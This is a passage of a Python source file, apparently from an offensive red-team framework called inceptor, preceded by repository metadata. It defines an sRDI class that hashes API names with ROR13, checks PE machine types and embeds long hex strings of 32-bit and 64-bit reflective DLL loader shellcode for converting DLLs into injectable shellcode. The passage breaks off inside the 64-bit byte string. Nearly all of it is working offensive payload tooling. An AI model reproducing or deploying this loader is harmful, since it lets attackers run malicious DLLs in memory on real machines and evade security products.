| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 6
|
b14d43f14f962784add4990c29b967c380866f34
| 39,763
|
py
|
Python
|
inceptor/converters/sRDI.py
|
pwnmeow/inceptor
|
4c1d17b1f29777aaae634c07ad6c4dd8ed61aa01
|
[
"BSD-4-Clause"
] | 743
|
2021-08-02T16:27:27.000Z
|
2022-03-31T16:34:16.000Z
|
inceptor/converters/sRDI.py
|
pwnmeow/inceptor
|
4c1d17b1f29777aaae634c07ad6c4dd8ed61aa01
|
[
"BSD-4-Clause"
] | 32
|
2021-08-03T04:47:20.000Z
|
2022-03-28T23:15:45.000Z
|
inceptor/converters/sRDI.py
|
pwnmeow/inceptor
|
4c1d17b1f29777aaae634c07ad6c4dd8ed61aa01
|
[
"BSD-4-Clause"
] | 138
|
2021-08-02T16:27:28.000Z
|
2022-03-31T02:47:20.000Z
|
import base64
import struct
from converters.Transformer import Transformer
class sRDI(Transformer):
MACHINE_IA64 = 512
MACHINE_AMD64 = 34404
def __init__(self):
super().__init__()
self.flags = 0 | 0x1 | 0x4 | 30 << 16
self.function = "DllMain"
self.args = b"test"
self.filetype = "dll"
@staticmethod
def is64BitDLL(_bytes):
header_offset = struct.unpack("<L", _bytes[60:64])[0]
machine = struct.unpack("<H", _bytes[header_offset + 4:header_offset + 4 + 2])[0]
if machine == sRDI.MACHINE_IA64 or machine == sRDI.MACHINE_AMD64:
return True
return False
@staticmethod
def ror(val, r_bits, max_bits):
return ((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | \
(val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1))
@staticmethod
def HashFunctionName(name, module=None):
function = name.encode() + b'\x00'
if module:
module = module.upper().encode('UTF-16LE') + b'\x00\x00'
function_hash = 0
for b in function:
function_hash = sRDI.ror(function_hash, 13, 32)
function_hash += b
module_hash = 0
for b in module:
module_hash = sRDI.ror(module_hash, 13, 32)
module_hash += b
function_hash += module_hash
if function_hash > 0xFFFFFFFF:
function_hash -= 0x100000000
else:
function_hash = 0
for b in function:
function_hash = sRDI.ror(function_hash, 13, 32)
function_hash += b
return function_hash
@staticmethod
def ConvertToShellcode(dll_bytes, function_hash=0x10, user_data=b'None', flags=0):
# MARKER:S
rdi_shellcode32 = b'\x81\xEC\x14\x01\x00\x00\x53\x55\x56\x57\x6A\x6B\x58\x6A\x65\x66\x89\x84\x24\xCC\x00\x00' \
b'\x00\x33\xED\x58\x6A\x72\x59\x6A\x6E\x5B\x6A\x6C\x5A\x6A\x33\x66\x89\x84\x24\xCE\x00\x00' \
b'\x00\x66\x89\x84\x24\xD4\x00\x00\x00\x58\x6A\x32\x66\x89\x84\x24\xD8\x00\x00\x00\x58\x6A' \
b'\x2E\x66\x89\x84\x24\xDA\x00\x00\x00\x58\x6A\x64\x66\x89\x84\x24\xDC\x00\x00\x00\x58\x89' \
b'\xAC\x24\xB0\x00\x00\x00\x89\x6C\x24\x34\x89\xAC\x24\xB8\x00\x00\x00\x89\xAC\x24\xC4\x00' \
b'\x00\x00\x89\xAC\x24\xB4\x00\x00\x00\x89\xAC\x24\xAC\x00\x00\x00\x89\xAC\x24\xE0\x00\x00' \
b'\x00\x66\x89\x8C\x24\xCC\x00\x00\x00\x66\x89\x9C\x24\xCE\x00\x00\x00\x66\x89\x94\x24\xD2' \
b'\x00\x00\x00\x66\x89\x84\x24\xDA\x00\x00\x00\x66\x89\x94\x24\xDC\x00\x00\x00\x66\x89\x94' \
b'\x24\xDE\x00\x00\x00\xC6\x44\x24\x3C\x53\x88\x54\x24\x3D\x66\xC7\x44\x24\x3E\x65\x65\xC6' \
b'\x44\x24\x40\x70\x66\xC7\x44\x24\x50\x4C\x6F\xC6\x44\x24\x52\x61\x88\x44\x24\x53\x66\xC7' \
b'\x44\x24\x54\x4C\x69\xC6\x44\x24\x56\x62\x88\x4C\x24\x57\xC6\x44\x24\x58\x61\x88\x4C\x24' \
b'\x59\x66\xC7\x44\x24\x5A\x79\x41\x66\xC7\x44\x24\x44\x56\x69\x88\x4C\x24\x46\x66\xC7\x44' \
b'\x24\x47\x74\x75\xC6\x44\x24\x49\x61\x88\x54\x24\x4A\xC6\x44\x24\x4B\x41\x88\x54\x24\x4C' \
b'\x88\x54\x24\x4D\x66\xC7\x44\x24\x4E\x6F\x63\x66\xC7\x44\x24\x5C\x56\x69\x88\x4C\x24\x5E' \
b'\x66\xC7\x44\x24\x5F\x74\x75\xC6\x44\x24\x61\x61\x88\x54\x24\x62\xC6\x44\x24\x63\x50\x88' \
b'\x4C\x24\x64\xC7\x44\x24\x65\x6F\x74\x65\x63\xC6\x44\x24\x69\x74\xC6\x84\x24\x94\x00\x00' \
b'\x00\x46\x88\x94\x24\x95\x00\x00\x00\xC7\x84\x24\x96\x00\x00\x00\x75\x73\x68\x49\x88\x9C' \
b'\x24\x9A\x00\x00\x00\x66\xC7\x84\x24\x9B\x00\x00\x00\x73\x74\x88\x8C\x24\x9D\x00\x00\x00' \
b'\xC7\x84\x24\x9E\x00\x00\x00\x75\x63\x74\x69\xC6\x84\x24\xA2\x00\x00\x00\x6F\x6A\x65\x59' \
b'\x88\x8C\x24\xA8\x00\x00\x00\x88\x4C\x24\x6D\x88\x4C\x24\x74\x88\x4C\x24\x79\x88\x8C\x24' \
b'\x92\x00\x00\x00\xB9\x13\x9C\xBF\xBD\x88\x9C\x24\xA3\x00\x00\x00\xC7\x84\x24\xA4\x00\x00' \
b'\x00\x43\x61\x63\x68\xC6\x44\x24\x6C\x47\xC7\x44\x24\x6E\x74\x4E\x61\x74\x66\xC7\x44\x24' \
b'\x72\x69\x76\xC7\x44\x24\x75\x53\x79\x73\x74\x66\xC7\x44\x24\x7A\x6D\x49\x88\x5C\x24\x7C' \
b'\x66\xC7\x44\x24\x7D\x66\x6F\x66\xC7\x84\x24\x80\x00\x00\x00\x52\x74\x88\x94\x24\x82\x00' \
b'\x00\x00\xC6\x84\x24\x83\x00\x00\x00\x41\x88\x84\x24\x84\x00\x00\x00\x88\x84\x24\x85\x00' \
b'\x00\x00\x66\xC7\x84\x24\x86\x00\x00\x00\x46\x75\x88\x9C\x24\x88\x00\x00\x00\xC7\x84\x24' \
b'\x89\x00\x00\x00\x63\x74\x69\x6F\x88\x9C\x24\x8D\x00\x00\x00\x66\xC7\x84\x24\x8E\x00\x00' \
b'\x00\x54\x61\xC6\x84\x24\x90\x00\x00\x00\x62\x88\x94\x24\x91\x00\x00\x00\xE8\x77\x08\x00' \
b'\x00\xB9\xB5\x41\xD9\x5E\x8B\xF0\xE8\x6B\x08\x00\x00\x8B\xD8\x8D\x84\x24\xC8\x00\x00\x00' \
b'\x6A\x18\x89\x84\x24\xEC\x00\x00\x00\x58\x66\x89\x84\x24\xE6\x00\x00\x00\x66\x89\x84\x24' \
b'\xE4\x00\x00\x00\x8D\x44\x24\x1C\x50\x8D\x84\x24\xE8\x00\x00\x00\x89\x5C\x24\x34\x50\x55' \
b'\x55\xFF\xD6\x6A\x0C\x5F\x8D\x44\x24\x44\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x44\x24' \
b'\x34\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x0E\x58' \
b'\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x5C\x89\x44\x24\x18\x8D\x84\x24\xB4' \
b'\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x15\x58\x66\x89\x44' \
b'\x24\x14\x66\x89\x44\x24\x16\x8D\x84\x24\x94\x00\x00\x00\x89\x44\x24\x18\x8D\x84\x24\xB8' \
b'\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x13\x5E\x8D\x44\x24' \
b'\x6C\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xC4\x00\x00\x00\x50\x55\x8D\x44\x24' \
b'\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x05\x58\x66\x89\x44\x24\x14\x66' \
b'\x89\x44\x24\x16\x8D\x44\x24\x3C\x89\x44\x24\x18\x8D\x84\x24\xAC\x00\x00\x00\x50\x55\x8D' \
b'\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x84\x24\x80\x00\x00\x00\x66\x89\x74\x24\x14' \
b'\x89\x44\x24\x18\x8D\x84\x24\xE0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E' \
b'\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x44\x24\x50\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x84' \
b'\x24\xB0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF' \
b'\xD3\x39\x6C\x24\x34\x0F\x84\x00\x07\x00\x00\x39\xAC\x24\xB4\x00\x00\x00\x0F\x84\xF3\x06' \
b'\x00\x00\x39\xAC\x24\xAC\x00\x00\x00\x0F\x84\xE6\x06\x00\x00\x39\xAC\x24\xB8\x00\x00\x00' \
b'\x0F\x84\xD9\x06\x00\x00\x8B\xAC\x24\xC4\x00\x00\x00\x85\xED\x0F\x84\xCA\x06\x00\x00\x8B' \
b'\xBC\x24\x28\x01\x00\x00\x8B\x77\x3C\x03\xF7\x81\x3E\x50\x45\x00\x00\x0F\x85\xB2\x06\x00' \
b'\x00\xB8\x4C\x01\x00\x00\x66\x39\x46\x04\x0F\x85\xA3\x06\x00\x00\xF6\x46\x38\x01\x0F\x85' \
b'\x99\x06\x00\x00\x0F\xB7\x4E\x14\x33\xDB\x0F\xB7\x56\x06\x83\xC1\x24\x85\xD2\x74\x1E\x03' \
b'\xCE\x83\x79\x04\x00\x8B\x46\x38\x0F\x45\x41\x04\x03\x01\x8D\x49\x28\x3B\xC3\x0F\x46\xC3' \
b'\x8B\xD8\x83\xEA\x01\x75\xE4\x8D\x84\x24\x00\x01\x00\x00\x50\xFF\xD5\x8B\x8C\x24\x04\x01' \
b'\x00\x00\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6E\x50\x8D\x41\xFF\x03\xC3\x23\xEA\x23\xC2' \
b'\x3B\xE8\x0F\x85\x3D\x06\x00\x00\x6A\x04\x68\x00\x30\x00\x00\x55\xFF\x76\x34\xFF\x54\x24' \
b'\x44\x8B\xD8\x89\x5C\x24\x2C\x85\xDB\x75\x13\x6A\x04\x68\x00\x30\x00\x00\x55\x50\xFF\x54' \
b'\x24\x44\x8B\xD8\x89\x44\x24\x2C\xF6\x84\x24\x38\x01\x00\x00\x01\x74\x23\x8B\x47\x3C\x89' \
b'\x43\x3C\x8B\x4F\x3C\x3B\x4E\x54\x73\x2E\x8B\xEF\x8D\x14\x0B\x2B\xEB\x8A\x04\x2A\x41\x88' \
b'\x02\x42\x3B\x4E\x54\x72\xF4\xEB\x19\x33\xED\x39\x6E\x54\x76\x12\x8B\xD7\x8B\xCB\x2B\xD3' \
b'\x8A\x04\x11\x45\x88\x01\x41\x3B\x6E\x54\x72\xF4\x8B\x6B\x3C\x33\xC9\x03\xEB\x89\x4C\x24' \
b'\x10\x33\xC0\x89\x6C\x24\x28\x0F\xB7\x55\x14\x83\xC2\x28\x66\x3B\x45\x06\x73\x31\x03\xD5' \
b'\x33\xF6\x39\x32\x76\x19\x8B\x42\x04\x8B\x4A\xFC\x03\xC6\x03\xCB\x8A\x04\x38\x88\x04\x31' \
b'\x46\x3B\x32\x72\xEB\x8B\x4C\x24\x10\x0F\xB7\x45\x06\x41\x83\xC2\x28\x89\x4C\x24\x10\x3B' \
b'\xC8\x72\xD1\x8B\xC3\xC7\x84\x24\xBC\x00\x00\x00\x01\x00\x00\x00\x2B\x45\x34\x89\x44\x24' \
b'\x24\x0F\x84\xC4\x00\x00\x00\x83\xBD\xA4\x00\x00\x00\x00\x0F\x84\xB7\x00\x00\x00\x8B\xB5' \
b'\xA0\x00\x00\x00\x03\xF3\x83\x3E\x00\x0F\x84\xA6\x00\x00\x00\x6A\x02\x8B\xF8\x5D\x8D\x56' \
b'\x08\xEB\x75\x0F\xB7\x02\x89\x44\x24\x10\x0F\xB7\xC8\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75' \
b'\x28\x8B\x16\x8B\x4C\x24\x10\x81\xE1\xFF\x0F\x00\x00\x89\x4C\x24\x10\x8D\x04\x1A\x8B\x0C' \
b'\x08\x8D\x04\x1A\x8B\x54\x24\x10\x03\xCF\x89\x0C\x10\x8B\x54\x24\x24\xEB\x37\x66\x83\xF8' \
b'\x03\x75\x0D\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x3C\x19\xEB\x24\x66\x3B\x84\x24\xBC\x00' \
b'\x00\x00\x75\x07\x8B\xC7\xC1\xE8\x10\xEB\x08\x66\x3B\xC5\x75\x0E\x0F\xB7\xC7\x81\xE1\xFF' \
b'\x0F\x00\x00\x03\x0E\x01\x04\x19\x03\xD5\x8B\x46\x04\x03\xC6\x89\x54\x24\x24\x3B\xD0\x0F' \
b'\x85\x7A\xFF\xFF\xFF\x83\x3A\x00\x8B\xF2\x0F\x85\x6A\xFF\xFF\xFF\x8B\x6C\x24\x28\x8B\xBC' \
b'\x24\x28\x01\x00\x00\x83\xBD\x84\x00\x00\x00\x00\x0F\x84\xD7\x01\x00\x00\x8B\xB5\x80\x00' \
b'\x00\x00\x33\xC0\x89\x44\x24\x10\x8D\x0C\x1E\x89\x4C\x24\x24\x83\xC1\x0C\x39\x01\x74\x0D' \
b'\x8D\x49\x14\x40\x83\x39\x00\x75\xF7\x89\x44\x24\x10\x8B\x8C\x24\x38\x01\x00\x00\x8B\xD1' \
b'\x83\xE2\x04\x89\x54\x24\x38\x8B\xD6\x0F\x84\xC3\x00\x00\x00\x83\xF8\x01\x0F\x86\xBA\x00' \
b'\x00\x00\x83\xA4\x24\xBC\x00\x00\x00\x00\xC1\xE9\x10\x89\x8C\x24\x38\x01\x00\x00\x8D\x48' \
b'\xFF\x89\x8C\x24\xC0\x00\x00\x00\x85\xC9\x0F\x84\xA1\x00\x00\x00\x8B\x74\x24\x24\x8B\xDE' \
b'\x8B\xAC\x24\xBC\x00\x00\x00\x8B\xC8\x69\xFF\xFD\x43\x03\x00\x2B\xCD\x33\xD2\xB8\xFF\x7F' \
b'\x00\x00\xF7\xF1\x81\xC7\xC3\x9E\x26\x00\x33\xD2\x89\xBC\x24\x28\x01\x00\x00\x6A\x05\x8D' \
b'\x48\x01\x8B\xC7\xC1\xE8\x10\x8D\xBC\x24\xF0\x00\x00\x00\x25\xFF\x7F\x00\x00\xF7\xF1\x59' \
b'\x03\xC5\x6B\xC0\x14\x6A\x05\x03\xC6\x45\x8B\xF0\xF3\xA5\x59\x8B\xF3\x8B\xF8\x8B\x44\x24' \
b'\x10\xF3\xA5\x6A\x05\x8B\xFB\x8D\xB4\x24\xF0\x00\x00\x00\x59\xF3\xA5\x8B\xBC\x24\x28\x01' \
b'\x00\x00\x83\xC3\x14\x8B\x74\x24\x24\x3B\xAC\x24\xC0\x00\x00\x00\x72\x87\x8B\x6C\x24\x28' \
b'\x8B\x5C\x24\x2C\x8B\x95\x80\x00\x00\x00\xEB\x0B\x8B\x44\x24\x38\x89\x84\x24\x38\x01\x00' \
b'\x00\x8D\x3C\x1A\x8B\x47\x0C\x89\x7C\x24\x2C\x85\xC0\x0F\x84\xB8\x00\x00\x00\x03\xC3\x50' \
b'\xFF\x94\x24\xB4\x00\x00\x00\x8B\xD0\x89\x54\x24\x1C\x8B\x37\x8B\x6F\x10\x03\xF3\x03\xEB' \
b'\x8B\x0E\x85\xC9\x74\x60\x8B\x7C\x24\x30\x85\xC9\x79\x09\x0F\xB7\x06\x55\x50\x6A\x00\xEB' \
b'\x36\x83\xC1\x02\x33\xC0\x03\xCB\x89\x8C\x24\xC0\x00\x00\x00\x38\x01\x74\x0E\x40\x41\x80' \
b'\x39\x00\x75\xF9\x8B\x8C\x24\xC0\x00\x00\x00\x55\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A' \
b'\x8D\x44\x24\x18\x6A\x00\x89\x4C\x24\x20\x50\x52\xFF\xD7\x83\xC6\x04\x83\xC5\x04\x8B\x0E' \
b'\x85\xC9\x74\x06\x8B\x54\x24\x1C\xEB\xA8\x8B\x7C\x24\x2C\x83\x7C\x24\x38\x00\x74\x1C\x33' \
b'\xC0\x40\x39\x44\x24\x10\x76\x13\x69\x84\x24\x38\x01\x00\x00\xE8\x03\x00\x00\x50\xFF\x94' \
b'\x24\xB0\x00\x00\x00\x8B\x47\x20\x83\xC7\x14\x89\x7C\x24\x2C\x85\xC0\x0F\x85\x4C\xFF\xFF' \
b'\xFF\x8B\x6C\x24\x28\x83\xBD\xE4\x00\x00\x00\x00\x0F\x84\xAD\x00\x00\x00\x8B\x85\xE0\x00' \
b'\x00\x00\x83\xC0\x04\x03\xC3\x89\x44\x24\x10\x8B\x00\x85\xC0\x0F\x84\x94\x00\x00\x00\x8B' \
b'\x6C\x24\x10\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xC8\x89\x4C\x24\x1C\x8B\x75\x08' \
b'\x8B\x7D\x0C\x03\xF3\x03\xFB\x83\x3E\x00\x74\x5B\x8B\x6C\x24\x30\x8B\x17\x85\xD2\x79\x09' \
b'\x56\x0F\xB7\xC2\x50\x6A\x00\xEB\x30\x83\xC2\x02\x33\xC0\x03\xD3\x89\x54\x24\x38\x38\x02' \
b'\x74\x0B\x40\x42\x80\x3A\x00\x75\xF9\x8B\x54\x24\x38\x56\x66\x89\x44\x24\x18\x66\x89\x44' \
b'\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x54\x24\x20\x50\x51\xFF\xD5\x83\xC6\x04\x83\xC7\x04' \
b'\x83\x3E\x00\x74\x06\x8B\x4C\x24\x1C\xEB\xAD\x8B\x6C\x24\x10\x83\xC5\x20\x89\x6C\x24\x10' \
b'\x8B\x45\x00\x85\xC0\x0F\x85\x74\xFF\xFF\xFF\x8B\x6C\x24\x28\x0F\xB7\x75\x14\x33\xC0\x83' \
b'\xC6\x28\x33\xFF\x66\x3B\x45\x06\x0F\x83\xE5\x00\x00\x00\x03\xF5\xBA\x00\x00\x00\x40\x83' \
b'\x3E\x00\x0F\x84\xC5\x00\x00\x00\x8B\x4E\x14\x8B\xC1\x25\x00\x00\x00\x20\x75\x0B\x85\xCA' \
b'\x75\x07\x85\xC9\x78\x03\x40\xEB\x62\x85\xC0\x75\x30\x85\xCA\x75\x08\x85\xC9\x79\x04\x6A' \
b'\x08\xEB\x51\x85\xC0\x75\x20\x85\xCA\x74\x08\x85\xC9\x78\x04\x6A\x02\xEB\x41\x85\xC0\x75' \
b'\x10\x85\xCA\x74\x08\x85\xC9\x79\x04\x6A\x04\xEB\x31\x85\xC0\x74\x4A\x85\xCA\x75\x08\x85' \
b'\xC9\x78\x04\x6A\x10\xEB\x21\x85\xC0\x74\x3A\x85\xCA\x75\x0B\x85\xC9\x79\x07\xB8\x80\x00' \
b'\x00\x00\xEB\x0F\x85\xC0\x74\x27\x85\xCA\x74\x0D\x85\xC9\x78\x09\x6A\x20\x58\x89\x44\x24' \
b'\x20\xEB\x1A\x85\xC0\x74\x12\x85\xCA\x74\x0E\x8B\x44\x24\x20\x85\xC9\x6A\x40\x5A\x0F\x48' \
b'\xC2\xEB\xE4\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89' \
b'\x44\x24\x20\x8D\x4C\x24\x20\x51\x50\x8B\x46\xFC\xFF\x36\x03\xC3\x50\xFF\x94\x24\xC4\x00' \
b'\x00\x00\xBA\x00\x00\x00\x40\x0F\xB7\x45\x06\x47\x83\xC6\x28\x3B\xF8\x0F\x82\x22\xFF\xFF' \
b'\xFF\x6A\x00\x6A\x00\x6A\xFF\xFF\x94\x24\xC4\x00\x00\x00\x83\xBD\xC4\x00\x00\x00\x00\x74' \
b'\x26\x8B\x85\xC0\x00\x00\x00\x8B\x74\x18\x0C\x8B\x06\x85\xC0\x74\x16\x33\xED\x45\x6A\x00' \
b'\x55\x53\xFF\xD0\x8D\x76\x04\x8B\x06\x85\xC0\x75\xF1\x8B\x6C\x24\x28\x33\xC0\x40\x50\x50' \
b'\x8B\x45\x28\x53\x03\xC3\xFF\xD0\x83\xBC\x24\x2C\x01\x00\x00\x00\x0F\x84\xAB\x00\x00\x00' \
b'\x83\x7D\x7C\x00\x0F\x84\xA1\x00\x00\x00\x8B\x55\x78\x03\xD3\x8B\x6A\x18\x85\xED\x0F\x84' \
b'\x91\x00\x00\x00\x83\x7A\x14\x00\x0F\x84\x87\x00\x00\x00\x8B\x7A\x20\x8B\x4A\x24\x03\xFB' \
b'\x83\x64\x24\x30\x00\x03\xCB\x85\xED\x74\x74\x8B\x37\xC7\x44\x24\x10\x00\x00\x00\x00\x03' \
b'\xF3\x74\x66\x8A\x06\x84\xC0\x74\x1A\x8B\x6C\x24\x10\x0F\xBE\xC0\x03\xE8\xC1\xCD\x0D\x46' \
b'\x8A\x06\x84\xC0\x75\xF1\x89\x6C\x24\x10\x8B\x6A\x18\x8B\x84\x24\x2C\x01\x00\x00\x3B\x44' \
b'\x24\x10\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x30\x83\xC7\x04\x40\x83\xC1\x02\x89\x44\x24' \
b'\x30\x3B\xC5\x72\xAE\xEB\x20\x0F\xB7\x09\x8B\x42\x1C\xFF\xB4\x24\x34\x01\x00\x00\xFF\xB4' \
b'\x24\x34\x01\x00\x00\x8D\x04\x88\x8B\x04\x18\x03\xC3\xFF\xD0\x59\x59\x8B\xC3\xEB\x02\x33' \
b'\xC0\x5F\x5E\x5D\x5B\x81\xC4\x14\x01\x00\x00\xC3\x83\xEC\x14\x64\xA1\x30\x00\x00\x00\x53' \
b'\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x1C\x8B\x78\x0C\xE9\xA5\x00\x00\x00\x8B\x47\x30\x33' \
b'\xF6\x8B\x5F\x2C\x8B\x3F\x89\x44\x24\x10\x8B\x42\x3C\x89\x7C\x24\x14\x8B\x6C\x10\x78\x89' \
b'\x6C\x24\x18\x85\xED\x0F\x84\x80\x00\x00\x00\xC1\xEB\x10\x33\xC9\x85\xDB\x74\x2F\x8B\x7C' \
b'\x24\x10\x0F\xBE\x2C\x0F\xC1\xCE\x0D\x80\x3C\x0F\x61\x89\x6C\x24\x10\x7C\x09\x8B\xC5\x83' \
b'\xC0\xE0\x03\xF0\xEB\x04\x03\x74\x24\x10\x41\x3B\xCB\x72\xDD\x8B\x7C\x24\x14\x8B\x6C\x24' \
b'\x18\x8B\x44\x2A\x20\x33\xDB\x8B\x4C\x2A\x18\x03\xC2\x89\x4C\x24\x10\x85\xC9\x74\x34\x8B' \
b'\x38\x33\xED\x03\xFA\x83\xC0\x04\x89\x44\x24\x20\x8A\x0F\xC1\xCD\x0D\x0F\xBE\xC1\x03\xE8' \
b'\x47\x84\xC9\x75\xF1\x8B\x7C\x24\x14\x8D\x04\x2E\x3B\x44\x24\x1C\x74\x20\x8B\x44\x24\x20' \
b'\x43\x3B\x5C\x24\x10\x72\xCC\x8B\x57\x18\x85\xD2\x0F\x85\x50\xFF\xFF\xFF\x33\xC0\x5F\x5E' \
b'\x5D\x5B\x83\xC4\x14\xC3\x8B\x74\x24\x18\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B' \
b'\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB '
rdi_shellcode64 = b'\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41' \
b'\x54\x41\x55\x41\x56\x41\x57\x48\x8D\x6C\x24\x90\x48\x81\xEC\x70\x01\x00\x00\x45\x33\xFF' \
b'\xC7\x45\xD8\x6B\x00\x65\x00\x48\x8B\xF1\x4C\x89\x7D\xF8\xB9\x13\x9C\xBF\xBD\x4C\x89\x7D' \
b'\xC8\x4C\x89\x7D\x08\x45\x8D\x4F\x65\x4C\x89\x7D\x10\x44\x88\x4D\xBC\x44\x88\x4D\xA2\x4C' \
b'\x89\x7D\x00\x4C\x89\x7D\xF0\x4C\x89\x7D\x18\x44\x89\x7D\x24\x44\x89\x7C\x24\x2C\xC7\x45' \
b'\xDC\x72\x00\x6E\x00\xC7\x45\xE0\x65\x00\x6C\x00\xC7\x45\xE4\x33\x00\x32\x00\xC7\x45\xE8' \
b'\x2E\x00\x64\x00\xC7\x45\xEC\x6C\x00\x6C\x00\xC7\x44\x24\x40\x53\x6C\x65\x65\xC6\x44\x24' \
b'\x44\x70\xC7\x44\x24\x58\x4C\x6F\x61\x64\xC7\x44\x24\x5C\x4C\x69\x62\x72\xC7\x44\x24\x60' \
b'\x61\x72\x79\x41\xC7\x44\x24\x48\x56\x69\x72\x74\xC7\x44\x24\x4C\x75\x61\x6C\x41\xC7\x44' \
b'\x24\x50\x6C\x6C\x6F\x63\xC7\x44\x24\x68\x56\x69\x72\x74\xC7\x44\x24\x6C\x75\x61\x6C\x50' \
b'\xC7\x44\x24\x70\x72\x6F\x74\x65\x66\xC7\x44\x24\x74\x63\x74\xC7\x45\xA8\x46\x6C\x75\x73' \
b'\xC7\x45\xAC\x68\x49\x6E\x73\xC7\x45\xB0\x74\x72\x75\x63\xC7\x45\xB4\x74\x69\x6F\x6E\xC7' \
b'\x45\xB8\x43\x61\x63\x68\xC7\x44\x24\x78\x47\x65\x74\x4E\xC7\x44\x24\x7C\x61\x74\x69\x76' \
b'\xC7\x45\x80\x65\x53\x79\x73\xC7\x45\x84\x74\x65\x6D\x49\x66\xC7\x45\x88\x6E\x66\xC6\x45' \
b'\x8A\x6F\xC7\x45\x90\x52\x74\x6C\x41\xC7\x45\x94\x64\x64\x46\x75\xC7\x45\x98\x6E\x63\x74' \
b'\x69\xC7\x45\x9C\x6F\x6E\x54\x61\x66\xC7\x45\xA0\x62\x6C\xE8\x7F\x08\x00\x00\xB9\xB5\x41' \
b'\xD9\x5E\x48\x8B\xD8\xE8\x72\x08\x00\x00\x4C\x8B\xE8\x48\x89\x45\xD0\x48\x8D\x45\xD8\xC7' \
b'\x45\x20\x18\x00\x18\x00\x4C\x8D\x4C\x24\x38\x48\x89\x45\x28\x4C\x8D\x45\x20\x33\xD2\x33' \
b'\xC9\xFF\xD3\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x48\x45\x33\xC0\x48\x89\x44\x24\x30\x4C' \
b'\x8D\x4D\xC8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C' \
b'\x24\x38\x48\x8D\x44\x24\x68\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x00\xC7\x44\x24' \
b'\x28\x0E\x00\x0E\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8D\x45\xA8\xC7\x44\x24\x28\x15' \
b'\x00\x15\x00\x48\x8B\x4C\x24\x38\x4C\x8D\x4D\x08\x45\x33\xC0\x48\x89\x44\x24\x30\x48\x8D' \
b'\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x78\x45\x33\xC0\x48\x89\x44' \
b'\x24\x30\x4C\x8D\x4D\x10\xC7\x44\x24\x28\x13\x00\x13\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5' \
b'\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x40\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF0' \
b'\xC7\x44\x24\x28\x05\x00\x05\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48' \
b'\x8D\x45\x90\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x18\xC7\x44\x24\x28\x13\x00\x13' \
b'\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x58\x45\x33\xC0' \
b'\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28' \
b'\x41\xFF\xD5\x4C\x39\x7D\xC8\x0F\x84\x1D\x07\x00\x00\x4C\x39\x7D\x00\x0F\x84\x13\x07\x00' \
b'\x00\x4C\x39\x7D\xF0\x0F\x84\x09\x07\x00\x00\x4C\x39\x7D\x08\x0F\x84\xFF\x06\x00\x00\x48' \
b'\x8B\x55\x10\x48\x85\xD2\x0F\x84\xF2\x06\x00\x00\x48\x63\x7E\x3C\x48\x03\xFE\x81\x3F\x50' \
b'\x45\x00\x00\x0F\x85\xDF\x06\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\xD0\x06' \
b'\x00\x00\x45\x8D\x4F\x01\x44\x84\x4F\x38\x0F\x85\xC2\x06\x00\x00\x0F\xB7\x4F\x14\x41\x8B' \
b'\xDF\x48\x83\xC1\x24\x66\x44\x3B\x7F\x06\x73\x25\x44\x0F\xB7\x47\x06\x48\x03\xCF\x44\x39' \
b'\x79\x04\x8B\x47\x38\x0F\x45\x41\x04\x03\x01\x48\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8' \
